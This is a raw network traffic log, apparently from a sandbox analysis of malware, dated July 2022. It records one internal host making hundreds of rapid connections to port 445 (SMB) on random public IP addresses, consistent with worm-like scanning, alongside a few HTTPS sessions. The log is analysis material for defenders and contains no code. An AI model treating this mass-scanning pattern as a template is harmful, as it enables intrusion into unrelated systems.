Jul 20, 2022 19:08:30.399995089 CEST	52127	445	192.168.2.7	129.129.40.59
Jul 20, 2022 19:08:30.400652885 CEST	52128	445	192.168.2.7	51.52.109.173
Jul 20, 2022 19:08:30.401263952 CEST	52129	445	192.168.2.7	196.94.246.232
Jul 20, 2022 19:08:30.417047024 CEST	52114	443	192.168.2.7	20.40.129.122
Jul 20, 2022 19:08:30.417179108 CEST	443	52114	20.40.129.122	192.168.2.7
Jul 20, 2022 19:08:30.546152115 CEST	443	52114	20.40.129.122	192.168.2.7
Jul 20, 2022 19:08:30.546314001 CEST	52114	443	192.168.2.7	20.40.129.122
Jul 20, 2022 19:08:30.546319008 CEST	443	52114	20.40.129.122	192.168.2.7
Jul 20, 2022 19:08:30.546693087 CEST	52114	443	192.168.2.7	20.40.129.122
Jul 20, 2022 19:08:30.588829041 CEST	52114	443	192.168.2.7	20.40.129.122
Jul 20, 2022 19:08:30.588859081 CEST	443	52114	20.40.129.122	192.168.2.7
Jul 20, 2022 19:08:30.654658079 CEST	443	49707	131.253.33.200	192.168.2.7
Jul 20, 2022 19:08:30.797758102 CEST	443	49720	13.107.6.254	192.168.2.7
Jul 20, 2022 19:08:30.970757008 CEST	52133	445	192.168.2.7	64.220.76.82
Jul 20, 2022 19:08:30.971589088 CEST	52134	445	192.168.2.7	56.190.149.128
Jul 20, 2022 19:08:31.111356020 CEST	52139	445	192.168.2.7	207.204.212.169
Jul 20, 2022 19:08:31.111891031 CEST	52140	445	192.168.2.7	22.204.154.52
Jul 20, 2022 19:08:31.112406969 CEST	52141	445	192.168.2.7	62.5.66.121
Jul 20, 2022 19:08:31.114595890 CEST	52143	445	192.168.2.7	171.53.54.101
Jul 20, 2022 19:08:31.115255117 CEST	52144	445	192.168.2.7	28.165.17.42
Jul 20, 2022 19:08:31.115375996 CEST	52145	445	192.168.2.7	197.245.144.217
Jul 20, 2022 19:08:31.244868994 CEST	52152	445	192.168.2.7	4.115.70.5
Jul 20, 2022 19:08:31.245948076 CEST	52154	445	192.168.2.7	46.53.234.179
Jul 20, 2022 19:08:31.246629000 CEST	52155	445	192.168.2.7	32.23.115.170
Jul 20, 2022 19:08:31.376935005 CEST	52157	445	192.168.2.7	140.33.248.9
Jul 20, 2022 19:08:31.377505064 CEST	52158	445	192.168.2.7	12.46.55.76
Jul 20, 2022 19:08:31.378082991 CEST	52159	445	192.168.2.7	123.188.125.217
Jul 20, 2022 19:08:31.379179955 CEST	52161	445	192.168.2.7	199.44.184.112
Jul 20, 2022 19:08:31.379740953 CEST	52162	445	192.168.2.7	111.123.22.1
Jul 20, 2022 19:08:31.380306005 CEST	52163	445	192.168.2.7	137.1.30.195
Jul 20, 2022 19:08:31.516944885 CEST	52165	445	192.168.2.7	69.138.31.254
Jul 20, 2022 19:08:31.517534018 CEST	52166	445	192.168.2.7	29.111.149.225
Jul 20, 2022 19:08:31.545093060 CEST	52167	445	192.168.2.7	156.56.208.123
Jul 20, 2022 19:08:31.545706034 CEST	52168	445	192.168.2.7	204.67.118.23
Jul 20, 2022 19:08:31.546772003 CEST	52169	445	192.168.2.7	14.114.192.121
Jul 20, 2022 19:08:31.548712015 CEST	52170	445	192.168.2.7	180.218.48.127
Jul 20, 2022 19:08:31.549312115 CEST	52171	445	192.168.2.7	119.176.221.31
Jul 20, 2022 19:08:31.586750031 CEST	52172	445	192.168.2.7	89.221.234.44
Jul 20, 2022 19:08:31.588416100 CEST	52173	445	192.168.2.7	171.29.188.95
Jul 20, 2022 19:08:31.588419914 CEST	52174	445	192.168.2.7	15.3.130.142
Jul 20, 2022 19:08:31.588463068 CEST	52175	445	192.168.2.7	168.79.148.11
Jul 20, 2022 19:08:31.588614941 CEST	52177	445	192.168.2.7	41.148.152.167
Jul 20, 2022 19:08:31.588646889 CEST	52176	445	192.168.2.7	203.55.208.26
Jul 20, 2022 19:08:31.588696957 CEST	52178	445	192.168.2.7	216.11.127.91
Jul 20, 2022 19:08:32.102499008 CEST	52184	445	192.168.2.7	190.252.90.62
Jul 20, 2022 19:08:32.102549076 CEST	52185	445	192.168.2.7	218.52.217.155
Jul 20, 2022 19:08:32.235747099 CEST	52188	445	192.168.2.7	23.247.35.31
Jul 20, 2022 19:08:32.236258030 CEST	52189	445	192.168.2.7	114.55.164.47
Jul 20, 2022 19:08:32.236814976 CEST	52190	445	192.168.2.7	109.34.4.126
Jul 20, 2022 19:08:32.238106966 CEST	52192	445	192.168.2.7	128.204.59.26
Jul 20, 2022 19:08:32.238656044 CEST	52193	445	192.168.2.7	15.212.185.247
Jul 20, 2022 19:08:32.239231110 CEST	52194	445	192.168.2.7	44.44.7.44
Jul 20, 2022 19:08:32.362871885 CEST	52201	445	192.168.2.7	190.143.140.35
Jul 20, 2022 19:08:32.363856077 CEST	52203	445	192.168.2.7	143.128.17.137
Jul 20, 2022 19:08:32.364557981 CEST	52204	445	192.168.2.7	1.12.168.54
Jul 20, 2022 19:08:32.503062963 CEST	52206	445	192.168.2.7	203.221.163.20
Jul 20, 2022 19:08:32.504329920 CEST	52207	445	192.168.2.7	105.121.120.178
Jul 20, 2022 19:08:32.504380941 CEST	52209	445	192.168.2.7	218.84.24.105
Jul 20, 2022 19:08:32.504527092 CEST	52210	445	192.168.2.7	133.219.68.6
Jul 20, 2022 19:08:32.504590034 CEST	52211	445	192.168.2.7	211.115.134.99
Jul 20, 2022 19:08:32.504684925 CEST	52212	445	192.168.2.7	56.123.235.158
Jul 20, 2022 19:08:32.647002935 CEST	52214	445	192.168.2.7	162.213.160.71
Jul 20, 2022 19:08:32.647531986 CEST	52215	445	192.168.2.7	133.175.84.111
Jul 20, 2022 19:08:32.657850981 CEST	52216	445	192.168.2.7	155.53.23.24
Jul 20, 2022 19:08:32.658425093 CEST	52217	445	192.168.2.7	217.248.151.21
Jul 20, 2022 19:08:32.659126043 CEST	52218	445	192.168.2.7	83.217.211.189
Jul 20, 2022 19:08:32.673391104 CEST	52219	445	192.168.2.7	106.73.191.78
Jul 20, 2022 19:08:32.674495935 CEST	52220	445	192.168.2.7	20.242.2.94
Jul 20, 2022 19:08:32.705617905 CEST	52221	445	192.168.2.7	18.249.146.225
Jul 20, 2022 19:08:32.705883980 CEST	52222	445	192.168.2.7	183.121.200.50
Jul 20, 2022 19:08:32.706480980 CEST	52223	445	192.168.2.7	10.222.26.121
Jul 20, 2022 19:08:32.707058907 CEST	52224	445	192.168.2.7	164.88.79.1
Jul 20, 2022 19:08:32.708806992 CEST	52225	445	192.168.2.7	158.1.213.0
Jul 20, 2022 19:08:32.719908953 CEST	52226	445	192.168.2.7	33.77.69.76
Jul 20, 2022 19:08:32.720288992 CEST	52227	445	192.168.2.7	171.169.24.10
Jul 20, 2022 19:08:32.825001001 CEST	445	52206	203.221.163.20	192.168.2.7
Jul 20, 2022 19:08:33.220868111 CEST	52233	445	192.168.2.7	162.109.84.197
Jul 20, 2022 19:08:33.220870018 CEST	52234	445	192.168.2.7	204.164.250.162
Jul 20, 2022 19:08:33.361489058 CEST	52239	445	192.168.2.7	213.95.56.80
Jul 20, 2022 19:08:33.361970901 CEST	52240	445	192.168.2.7	160.69.212.210
Jul 20, 2022 19:08:33.362540960 CEST	52241	445	192.168.2.7	128.55.40.188
Jul 20, 2022 19:08:33.363590002 CEST	52243	445	192.168.2.7	38.220.10.238
Jul 20, 2022 19:08:33.364140987 CEST	52244	445	192.168.2.7	146.95.40.191
Jul 20, 2022 19:08:33.364682913 CEST	52245	445	192.168.2.7	118.33.57.51
Jul 20, 2022 19:08:33.422255993 CEST	52206	445	192.168.2.7	203.221.163.20
Jul 20, 2022 19:08:33.488416910 CEST	52251	445	192.168.2.7	65.179.59.186
Jul 20, 2022 19:08:33.489423990 CEST	52253	445	192.168.2.7	131.84.160.151
Jul 20, 2022 19:08:33.489931107 CEST	52254	445	192.168.2.7	106.46.26.65
Jul 20, 2022 19:08:33.627171993 CEST	52256	445	192.168.2.7	87.94.40.133
Jul 20, 2022 19:08:33.628038883 CEST	52257	445	192.168.2.7	24.210.218.42
Jul 20, 2022 19:08:33.629818916 CEST	52259	445	192.168.2.7	97.117.48.217
Jul 20, 2022 19:08:33.630443096 CEST	52260	445	192.168.2.7	63.71.33.96
Jul 20, 2022 19:08:33.630480051 CEST	52261	445	192.168.2.7	92.163.47.32
Jul 20, 2022 19:08:33.630579948 CEST	52262	445	192.168.2.7	163.116.199.200
Jul 20, 2022 19:08:33.744860888 CEST	445	52206	203.221.163.20	192.168.2.7
Jul 20, 2022 19:08:33.767631054 CEST	52264	445	192.168.2.7	98.64.183.138
Jul 20, 2022 19:08:33.768141985 CEST	52265	445	192.168.2.7	198.254.50.122
Jul 20, 2022 19:08:33.784759998 CEST	52267	445	192.168.2.7	95.78.130.215
Jul 20, 2022 19:08:33.785315990 CEST	52268	445	192.168.2.7	178.50.49.79
Jul 20, 2022 19:08:33.786983967 CEST	52266	445	192.168.2.7	22.28.41.30
Jul 20, 2022 19:08:33.802103996 CEST	52269	445	192.168.2.7	104.3.70.190
Jul 20, 2022 19:08:33.802709103 CEST	52270	445	192.168.2.7	193.218.226.85
Jul 20, 2022 19:08:33.842088938 CEST	52271	445	192.168.2.7	146.41.164.55
Jul 20, 2022 19:08:33.842303038 CEST	52272	445	192.168.2.7	93.57.119.152
Jul 20, 2022 19:08:33.842334986 CEST	52273	445	192.168.2.7	219.219.134.200
Jul 20, 2022 19:08:33.845107079 CEST	52274	445	192.168.2.7	66.232.134.177
Jul 20, 2022 19:08:33.845657110 CEST	52275	445	192.168.2.7	65.187.243.205
Jul 20, 2022 19:08:33.846199036 CEST	52276	445	192.168.2.7	3.246.75.253
Jul 20, 2022 19:08:33.846716881 CEST	52277	445	192.168.2.7	103.20.205.3
Jul 20, 2022 19:08:33.867134094 CEST	443	49703	204.79.197.222	192.168.2.7
Jul 20, 2022 19:08:33.870069027 CEST	445	52267	95.78.130.215	192.168.2.7
Jul 20, 2022 19:08:34.350990057 CEST	52283	445	192.168.2.7	158.106.3.173
Jul 20, 2022 19:08:34.351475954 CEST	52284	445	192.168.2.7	145.56.227.229
Jul 20, 2022 19:08:34.437974930 CEST	52267	445	192.168.2.7	95.78.130.215
Jul 20, 2022 19:08:34.490202904 CEST	52289	445	192.168.2.7	194.45.226.59
Jul 20, 2022 19:08:34.490283012 CEST	52290	445	192.168.2.7	72.41.59.207
Jul 20, 2022 19:08:34.490402937 CEST	52291	445	192.168.2.7	223.233.85.73
Jul 20, 2022 19:08:34.490600109 CEST	52293	445	192.168.2.7	131.229.137.192
Jul 20, 2022 19:08:34.490678072 CEST	52294	445	192.168.2.7	183.85.180.251
Jul 20, 2022 19:08:34.490710020 CEST	52295	445	192.168.2.7	79.108.219.26
Jul 20, 2022 19:08:34.523421049 CEST	445	52267	95.78.130.215	192.168.2.7
Jul 20, 2022 19:08:34.662879944 CEST	52296	445	192.168.2.7	48.145.150.62
Jul 20, 2022 19:08:34.666364908 CEST	52297	445	192.168.2.7	183.219.22.55
Jul 20, 2022 19:08:34.667284966 CEST	52299	445	192.168.2.7	11.165.190.43
Jul 20, 2022 19:08:34.898787022 CEST	52306	445	192.168.2.7	209.238.135.60
Jul 20, 2022 19:08:34.899622917 CEST	52307	445	192.168.2.7	104.83.193.254
Jul 20, 2022 19:08:34.901124954 CEST	52309	445	192.168.2.7	26.182.231.220
Jul 20, 2022 19:08:34.901896000 CEST	52310	445	192.168.2.7	83.185.122.142
Jul 20, 2022 19:08:34.902559042 CEST	52311	445	192.168.2.7	187.177.128.68
Jul 20, 2022 19:08:34.903215885 CEST	52312	445	192.168.2.7	19.83.118.173
Jul 20, 2022 19:08:35.020898104 CEST	52313	445	192.168.2.7	124.131.104.112
Jul 20, 2022 19:08:35.021769047 CEST	52314	445	192.168.2.7	164.169.254.206
Jul 20, 2022 19:08:35.022543907 CEST	52315	445	192.168.2.7	69.81.143.46
Jul 20, 2022 19:08:35.023314953 CEST	52316	445	192.168.2.7	124.131.34.48
Jul 20, 2022 19:08:35.024066925 CEST	52317	445	192.168.2.7	144.229.24.233
Jul 20, 2022 19:08:35.025023937 CEST	52318	445	192.168.2.7	122.193.43.248
Jul 20, 2022 19:08:35.025933981 CEST	52319	445	192.168.2.7	68.86.24.192
Jul 20, 2022 19:08:35.026665926 CEST	52320	445	192.168.2.7	164.144.99.25
Jul 20, 2022 19:08:35.027419090 CEST	52321	445	192.168.2.7	139.54.186.114
Jul 20, 2022 19:08:35.029500008 CEST	52324	445	192.168.2.7	29.247.131.143
Jul 20, 2022 19:08:35.030249119 CEST	52325	445	192.168.2.7	174.199.124.205
Jul 20, 2022 19:08:35.030987978 CEST	52326	445	192.168.2.7	114.214.224.186
Jul 20, 2022 19:08:35.039097071 CEST	52327	445	192.168.2.7	109.61.211.161
Jul 20, 2022 19:08:35.039899111 CEST	52328	445	192.168.2.7	189.74.165.134
Jul 20, 2022 19:08:35.133321047 CEST	445	52319	68.86.24.192	192.168.2.7
Jul 20, 2022 19:08:35.486624956 CEST	52333	445	192.168.2.7	123.132.160.68
Jul 20, 2022 19:08:35.487176895 CEST	52334	445	192.168.2.7	31.87.132.183
Jul 20, 2022 19:08:35.616493940 CEST	52340	445	192.168.2.7	88.106.191.181
Jul 20, 2022 19:08:35.617055893 CEST	52341	445	192.168.2.7	5.114.162.72
Jul 20, 2022 19:08:35.618400097 CEST	52343	445	192.168.2.7	28.96.109.185
Jul 20, 2022 19:08:35.618951082 CEST	52344	445	192.168.2.7	65.16.77.228
Jul 20, 2022 19:08:35.619532108 CEST	52345	445	192.168.2.7	102.170.155.9
Jul 20, 2022 19:08:35.620055914 CEST	52346	445	192.168.2.7	177.250.230.189
Jul 20, 2022 19:08:35.719316959 CEST	52319	445	192.168.2.7	68.86.24.192
Jul 20, 2022 19:08:35.800641060 CEST	52347	445	192.168.2.7	9.181.28.9
Jul 20, 2022 19:08:35.801245928 CEST	52348	445	192.168.2.7	42.124.198.186
Jul 20, 2022 19:08:35.801836967 CEST	52349	445	192.168.2.7	144.166.183.202
Jul 20, 2022 19:08:35.826728106 CEST	445	52319	68.86.24.192	192.168.2.7
Jul 20, 2022 19:08:36.475395918 CEST	52357	445	192.168.2.7	32.58.39.12
Jul 20, 2022 19:08:36.476046085 CEST	52358	445	192.168.2.7	70.226.158.40
Jul 20, 2022 19:08:36.477207899 CEST	52360	445	192.168.2.7	198.159.29.216
Jul 20, 2022 19:08:36.477725983 CEST	52361	445	192.168.2.7	153.242.9.46
Jul 20, 2022 19:08:36.478748083 CEST	52363	445	192.168.2.7	175.100.76.81
Jul 20, 2022 19:08:36.487072945 CEST	52365	445	192.168.2.7	168.157.105.243
Jul 20, 2022 19:08:36.487721920 CEST	52366	445	192.168.2.7	30.119.187.201
Jul 20, 2022 19:08:36.488167048 CEST	52367	445	192.168.2.7	85.30.151.247
Jul 20, 2022 19:08:36.488708019 CEST	52368	445	192.168.2.7	142.86.143.45
Jul 20, 2022 19:08:36.489224911 CEST	52369	445	192.168.2.7	155.179.31.132
Jul 20, 2022 19:08:36.489768028 CEST	52370	445	192.168.2.7	85.121.13.66
Jul 20, 2022 19:08:36.490293980 CEST	52371	445	192.168.2.7	98.137.119.93
Jul 20, 2022 19:08:36.567173958 CEST	52372	445	192.168.2.7	43.168.230.3
Jul 20, 2022 19:08:36.567282915 CEST	52373	445	192.168.2.7	118.85.126.30
Jul 20, 2022 19:08:36.567393064 CEST	52374	445	192.168.2.7	115.226.114.141
Jul 20, 2022 19:08:36.567569971 CEST	52377	445	192.168.2.7	183.108.200.120
Jul 20, 2022 19:08:36.567643881 CEST	52378	445	192.168.2.7	16.141.211.206
Jul 20, 2022 19:08:36.567730904 CEST	52379	445	192.168.2.7	23.128.100.183
Jul 20, 2022 19:08:36.568442106 CEST	52380	445	192.168.2.7	60.0.205.8
Jul 20, 2022 19:08:36.684200048 CEST	52383	445	192.168.2.7	151.46.112.63
Jul 20, 2022 19:08:36.701708078 CEST	52384	445	192.168.2.7	208.107.190.227
Jul 20, 2022 19:08:36.816045046 CEST	52391	445	192.168.2.7	98.28.36.36
Jul 20, 2022 19:08:36.816636086 CEST	52392	445	192.168.2.7	196.224.221.209
Jul 20, 2022 19:08:36.817152977 CEST	52393	445	192.168.2.7	42.163.119.193
Jul 20, 2022 19:08:36.817688942 CEST	52394	445	192.168.2.7	162.39.34.184
Jul 20, 2022 19:08:36.818701029 CEST	52396	445	192.168.2.7	139.154.27.168
Jul 20, 2022 19:08:36.819235086 CEST	52397	445	192.168.2.7	51.69.78.190
Jul 20, 2022 19:08:36.980432034 CEST	52404	445	192.168.2.7	198.159.79.68
Jul 20, 2022 19:08:36.980993986 CEST	52405	445	192.168.2.7	135.169.157.200
Jul 20, 2022 19:08:36.981529951 CEST	52406	445	192.168.2.7	49.252.50.110
Jul 20, 2022 19:08:38.476680994 CEST	52409	445	192.168.2.7	92.229.21.225
Jul 20, 2022 19:08:38.554584980 CEST	52411	445	192.168.2.7	37.143.187.64
Jul 20, 2022 19:08:38.555145025 CEST	52412	445	192.168.2.7	45.133.135.183
Jul 20, 2022 19:08:38.555665016 CEST	52413	445	192.168.2.7	177.246.110.246
Jul 20, 2022 19:08:38.556155920 CEST	52414	445	192.168.2.7	170.29.251.159
Jul 20, 2022 19:08:38.556698084 CEST	52415	445	192.168.2.7	37.109.122.140
Jul 20, 2022 19:08:38.557208061 CEST	52416	445	192.168.2.7	161.79.18.72
Jul 20, 2022 19:08:38.557842970 CEST	52417	445	192.168.2.7	75.16.145.207
Jul 20, 2022 19:08:38.559003115 CEST	52418	445	192.168.2.7	54.72.252.140
Jul 20, 2022 19:08:38.572300911 CEST	52419	445	192.168.2.7	134.45.80.140
Jul 20, 2022 19:08:38.593875885 CEST	52420	445	192.168.2.7	198.29.77.240
Jul 20, 2022 19:08:38.594033003 CEST	52422	445	192.168.2.7	130.226.251.1
Jul 20, 2022 19:08:38.594110012 CEST	52423	445	192.168.2.7	95.156.157.5
Jul 20, 2022 19:08:38.594386101 CEST	52430	445	192.168.2.7	5.148.43.6
Jul 20, 2022 19:08:38.594497919 CEST	52431	445	192.168.2.7	219.99.63.168
Jul 20, 2022 19:08:38.594615936 CEST	52432	445	192.168.2.7	67.207.127.212
Jul 20, 2022 19:08:38.594748974 CEST	52435	445	192.168.2.7	15.2.164.183
Jul 20, 2022 19:08:38.594821930 CEST	52436	445	192.168.2.7	41.221.56.80
Jul 20, 2022 19:08:38.594911098 CEST	52437	445	192.168.2.7	194.25.154.76
Jul 20, 2022 19:08:38.594995975 CEST	52438	445	192.168.2.7	26.129.173.250
Jul 20, 2022 19:08:38.595118999 CEST	52440	445	192.168.2.7	99.165.67.28
Jul 20, 2022 19:08:38.595202923 CEST	52441	445	192.168.2.7	221.29.173.118
Jul 20, 2022 19:08:38.595400095 CEST	52446	445	192.168.2.7	151.206.161.134
Jul 20, 2022 19:08:38.595521927 CEST	52448	445	192.168.2.7	65.34.121.153
Jul 20, 2022 19:08:38.595663071 CEST	52451	445	192.168.2.7	23.88.44.202
Jul 20, 2022 19:08:38.595741034 CEST	52452	445	192.168.2.7	13.6.58.23
Jul 20, 2022 19:08:38.595818996 CEST	52453	445	192.168.2.7	178.198.46.122
Jul 20, 2022 19:08:38.595938921 CEST	52455	445	192.168.2.7	118.244.250.146
Jul 20, 2022 19:08:38.596074104 CEST	52457	445	192.168.2.7	84.103.146.44
Jul 20, 2022 19:08:38.596146107 CEST	52458	445	192.168.2.7	57.93.150.175
Jul 20, 2022 19:08:38.624880075 CEST	52459	445	192.168.2.7	8.109.249.114
Jul 20, 2022 19:08:39.595411062 CEST	52461	445	192.168.2.7	82.184.192.219
Jul 20, 2022 19:08:39.644454002 CEST	52462	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:08:39.644521952 CEST	443	52462	20.199.120.85	192.168.2.7
Jul 20, 2022 19:08:39.644634008 CEST	52462	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:08:39.645453930 CEST	52462	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:08:39.645481110 CEST	443	52462	20.199.120.85	192.168.2.7
Jul 20, 2022 19:08:39.693969011 CEST	52464	445	192.168.2.7	204.252.92.21
Jul 20, 2022 19:08:39.709022999 CEST	52465	445	192.168.2.7	52.178.45.198
Jul 20, 2022 19:08:39.720920086 CEST	52466	445	192.168.2.7	37.23.74.0
Jul 20, 2022 19:08:39.729331017 CEST	52467	445	192.168.2.7	221.214.171.137
Jul 20, 2022 19:08:39.756827116 CEST	443	52462	20.199.120.85	192.168.2.7
Jul 20, 2022 19:08:39.756972075 CEST	52462	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:08:39.759938955 CEST	52462	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:08:39.759957075 CEST	443	52462	20.199.120.85	192.168.2.7
Jul 20, 2022 19:08:39.759994984 CEST	52468	445	192.168.2.7	132.176.18.163
Jul 20, 2022 19:08:39.760601044 CEST	443	52462	20.199.120.85	192.168.2.7
Jul 20, 2022 19:08:39.761933088 CEST	52462	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:08:39.761998892 CEST	52462	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:08:39.762015104 CEST	443	52462	20.199.120.85	192.168.2.7
Jul 20, 2022 19:08:39.762152910 CEST	52462	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:08:39.762221098 CEST	52469	445	192.168.2.7	82.126.171.7
Jul 20, 2022 19:08:39.762949944 CEST	52470	445	192.168.2.7	77.178.242.32
Jul 20, 2022 19:08:39.763596058 CEST	52471	445	192.168.2.7	126.174.199.252
Jul 20, 2022 19:08:39.789963961 CEST	443	52462	20.199.120.85	192.168.2.7
Jul 20, 2022 19:08:39.790081024 CEST	443	52462	20.199.120.85	192.168.2.7
Jul 20, 2022 19:08:39.790302038 CEST	52462	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:08:39.790774107 CEST	52462	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:08:39.790802002 CEST	443	52462	20.199.120.85	192.168.2.7
Jul 20, 2022 19:08:39.813261032 CEST	52472	445	192.168.2.7	213.37.72.15
Jul 20, 2022 19:08:39.813582897 CEST	52474	445	192.168.2.7	166.177.130.99
Jul 20, 2022 19:08:39.813680887 CEST	52475	445	192.168.2.7	56.57.203.129
Jul 20, 2022 19:08:39.813966990 CEST	52481	445	192.168.2.7	146.222.214.2
Jul 20, 2022 19:08:39.814116001 CEST	52483	445	192.168.2.7	89.52.191.247
Jul 20, 2022 19:08:39.814199924 CEST	52484	445	192.168.2.7	77.187.178.39
Jul 20, 2022 19:08:39.814342976 CEST	52486	445	192.168.2.7	29.229.167.193
Jul 20, 2022 19:08:39.814481020 CEST	52488	445	192.168.2.7	180.237.5.95
Jul 20, 2022 19:08:39.814590931 CEST	52489	445	192.168.2.7	141.104.206.211
Jul 20, 2022 19:08:39.814706087 CEST	52490	445	192.168.2.7	177.141.221.64
Jul 20, 2022 19:08:39.814822912 CEST	52492	445	192.168.2.7	41.5.211.157
Jul 20, 2022 19:08:39.814904928 CEST	52493	445	192.168.2.7	139.157.66.230
Jul 20, 2022 19:08:39.815093040 CEST	52498	445	192.168.2.7	194.41.75.95
Jul 20, 2022 19:08:39.815170050 CEST	52499	445	192.168.2.7	187.167.182.232
Jul 20, 2022 19:08:39.815332890 CEST	52503	445	192.168.2.7	38.77.102.240
Jul 20, 2022 19:08:39.815426111 CEST	52504	445	192.168.2.7	50.12.15.192
Jul 20, 2022 19:08:39.815529108 CEST	52505	445	192.168.2.7	105.220.78.108
Jul 20, 2022 19:08:39.815629959 CEST	52507	445	192.168.2.7	195.208.232.244
Jul 20, 2022 19:08:39.815747023 CEST	52509	445	192.168.2.7	17.166.198.45
Jul 20, 2022 19:08:39.815821886 CEST	52510	445	192.168.2.7	215.225.32.220
Jul 20, 2022 19:08:39.815897942 CEST	52511	445	192.168.2.7	78.26.200.221
Jul 20, 2022 19:08:39.816339016 CEST	52512	445	192.168.2.7	200.33.162.109
Jul 20, 2022 19:08:40.720637083 CEST	52515	445	192.168.2.7	59.161.122.221
Jul 20, 2022 19:08:40.840400934 CEST	52518	445	192.168.2.7	164.191.84.212
Jul 20, 2022 19:08:40.840415001 CEST	52517	445	192.168.2.7	49.56.169.156
Jul 20, 2022 19:08:40.847089052 CEST	52519	445	192.168.2.7	110.70.243.53
Jul 20, 2022 19:08:40.847920895 CEST	52520	445	192.168.2.7	72.208.248.162
Jul 20, 2022 19:08:40.876980066 CEST	52521	445	192.168.2.7	191.9.200.116
Jul 20, 2022 19:08:40.878305912 CEST	52522	445	192.168.2.7	38.118.42.230
Jul 20, 2022 19:08:40.878479958 CEST	52523	445	192.168.2.7	214.217.149.89
Jul 20, 2022 19:08:40.878561020 CEST	52524	445	192.168.2.7	223.192.30.57
Jul 20, 2022 19:08:40.952661037 CEST	52528	445	192.168.2.7	6.186.159.233
Jul 20, 2022 19:08:40.953512907 CEST	52529	445	192.168.2.7	56.253.146.38
Jul 20, 2022 19:08:40.964662075 CEST	52534	445	192.168.2.7	89.47.104.179
Jul 20, 2022 19:08:40.969029903 CEST	52535	445	192.168.2.7	156.211.145.77
Jul 20, 2022 19:08:40.970999956 CEST	52537	445	192.168.2.7	191.216.211.111
Jul 20, 2022 19:08:40.971164942 CEST	52538	445	192.168.2.7	63.20.189.141
Jul 20, 2022 19:08:40.971261024 CEST	52539	445	192.168.2.7	209.77.157.49
Jul 20, 2022 19:08:40.971519947 CEST	52541	445	192.168.2.7	223.104.242.182
Jul 20, 2022 19:08:40.971617937 CEST	52543	445	192.168.2.7	128.159.95.34
Jul 20, 2022 19:08:40.971726894 CEST	52544	445	192.168.2.7	163.25.1.85
Jul 20, 2022 19:08:40.971820116 CEST	52546	445	192.168.2.7	176.246.69.165
Jul 20, 2022 19:08:40.972055912 CEST	52552	445	192.168.2.7	70.246.168.142
Jul 20, 2022 19:08:40.972137928 CEST	52553	445	192.168.2.7	61.224.228.126
Jul 20, 2022 19:08:40.972275019 CEST	52555	445	192.168.2.7	192.36.137.95
Jul 20, 2022 19:08:40.972336054 CEST	52556	445	192.168.2.7	31.53.163.250
Jul 20, 2022 19:08:40.972496986 CEST	52557	445	192.168.2.7	32.224.19.164
Jul 20, 2022 19:08:40.972599983 CEST	52558	445	192.168.2.7	119.156.193.103
Jul 20, 2022 19:08:40.972609997 CEST	52559	445	192.168.2.7	82.192.13.152
Jul 20, 2022 19:08:40.972671032 CEST	52561	445	192.168.2.7	162.169.243.133
Jul 20, 2022 19:08:40.972738028 CEST	52562	445	192.168.2.7	90.155.74.205
Jul 20, 2022 19:08:40.972829103 CEST	52565	445	192.168.2.7	14.26.14.168
Jul 20, 2022 19:08:40.972832918 CEST	52564	445	192.168.2.7	203.5.123.175
Jul 20, 2022 19:08:41.413088083 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.413136005 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.413352966 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.413825989 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.413861036 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.470659971 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.470794916 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.495865107 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.495887041 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.499562979 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.499577999 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.520910025 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.520957947 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.520997047 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.521138906 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.521178961 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.521193027 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.521251917 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.538327932 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.538383961 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.538532019 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.538568020 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.538640976 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.539716959 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.539829969 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.544284105 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.544348955 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.544425011 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.544447899 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.544462919 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.545130014 CEST	52566	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:41.546614885 CEST	443	52566	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:41.546711922 CEST	443	52566	23.211.6.115	192.168.2.7
